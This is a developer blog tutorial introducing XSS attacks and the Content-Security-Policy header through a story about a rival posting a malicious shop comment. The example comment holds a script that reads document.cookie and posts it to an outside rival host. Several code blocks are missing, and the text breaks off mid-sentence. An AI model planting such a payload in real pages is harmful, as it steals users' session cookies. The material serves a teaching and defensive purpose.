Monday Morning with a Content-Security-Policy HTTP Response Header

The story

Mondays are always a unique mixture of a new beginning and unexpected surprises in every office. Sometimes you find a solution for a long-standing problem, but you never know what awaits you in your mailbox after a long, unclouded weekend. The Monday morning, on which my story begins, is a good example for the latter. When I checked my e-mails, a desperate message welcomed me about our recently finished project:

Could you please help me? The site is not working on plenty of mobile clients, since we set these http headers, following the request by the security team: Content-Security-Policy: script-src ‘self’. Do you have any idea how this happened?

As a junior developer I had no idea what to say, so in my first puzzlement, I tried the requests myself. I found the following error message written in the browsers console:

text

Soon I started to investigate further and found the following definition:

Content-Security-Policy HTTP response header helps you reduce XSS risks on modern browsers by declaring what dynamic resources are allowed to load via a HTTP Header.

text

CSP, XSS…. I started to feel like I was in Mr Robot, fighting with some serious hacker teams, then I disenchantedly realized these are very easy-to-understand problems, with which I can easily cope after some further research. If you continue reading, I will present you the results of my research, introducing the basic types of XSS and the reasons why and how to use CSP.

A simple example

In the following paragraph, I will try to explain you how the XSS (cross-site-scripting) attacks work with an extremely simple life-like example. Let’s just imagine that you are the owner of the country’s biggest electrical store chain. As you are trying to keep up with the latest customer preferences, you are maintaining a web shop. To make it more interactive, there is a possibility for every customer to write comments under the vendible. If we take a look at the website and it’s HTML file, they will probably look like this:

<ul class="comments">
    <li>
        <img class="commentimage" src="users/tom/image">
        <h3>TOM</h3>
        <p>
            Awesome!!!
        </p>
        <button class="btn btn-lg btn-primary">REPLY</button>
    </li>
    <li>
        <img class="commentimage" src="users/ann/image">
        <h3>ANN</h3>
        <p>
            Super trendy
        </p>
        <button class="btn btn-lg btn-primary">REPLY</button>
    </li>
</ul>

text

As, of course, your products are of superior quality, this feedback system works like a charm, and makes very good marketing for your company. Your business is flourishing, but then the greedy, shifty owner of the country’s second biggest electrical store chain finds a way to mess up your success. He writes a tricky comment under your products:

text

For the future visitors your HTML will look like this:

<ul class="comments">
    <li>
        <img class="commentimage" src="users/tom/image">
        <h3>TOM</h3>
        <p>
            Awesome!!!
        </p>
        <button class="btn btn-lg btn-primary">REPLY</button>
    </li>
    <li>
        <img class="commentimage" src="users/ann/image">
        <h3>ANN</h3>
        <p>
            Super trendy
        </p>
        <button class="btn btn-lg btn-primary">REPLY</button>
    </li>
    <li>
        <img class="commentimage" src="users/joe/image"><h3>JOE</h3></img>
        <script>
            alert('Hi there! You have just won brand new iPhone as our 100000 customer! PLease contact us for more details');
            var userdata = document.cookie;
            var request = new XMLHttpRequest();
            request.open("POST", "http://secondbestelectricstorechain?userData="+userdata, true);
            request.send();
        </script>
        <a class="btn btn-lg btn-primary"></span> REPLY</a>
    </li>
</ul>

If you are not well prepared against XSS attacks, this little action may cause you a headache. As a result of the HTML code above, your website will produce some unexpected behavior:

text

Soon, your website will be flooded by the disgruntled, angry comments from your customers demanding their brand new mobile device. What is worse, the rival company will have all your customers registered e-mail addresses, passwords, and other secure data previously stored in cookies in their browsers. Though it is a very unfortunate story, if you are well prepared, you can easily prevent these kinds of accidents.

A brief summary about the XSS attacks

Come to think of it, cross-site scripting attacks can have various scenarios, and some of these are much more complex and unforeseen, than our electric store’s sad story. In general, the goal of an XSS attack is always to execute malicious javascript in the victim’s browser. Depending on how this happens, they are divided into three types:

Ways to prevent XSS

<li data-ng-repeat="comment in home.comments track by $index">
       <img class="commentimage" src={{comment.user.image}}><h3>{{comment.user.name}}</h3></img>
       <p>{{comment.message}}</p>
       <a class="btn btn-lg btn-primary">REPLY</a>
  </li>

Although in the last comment, the comment.message field’s value is, for instance “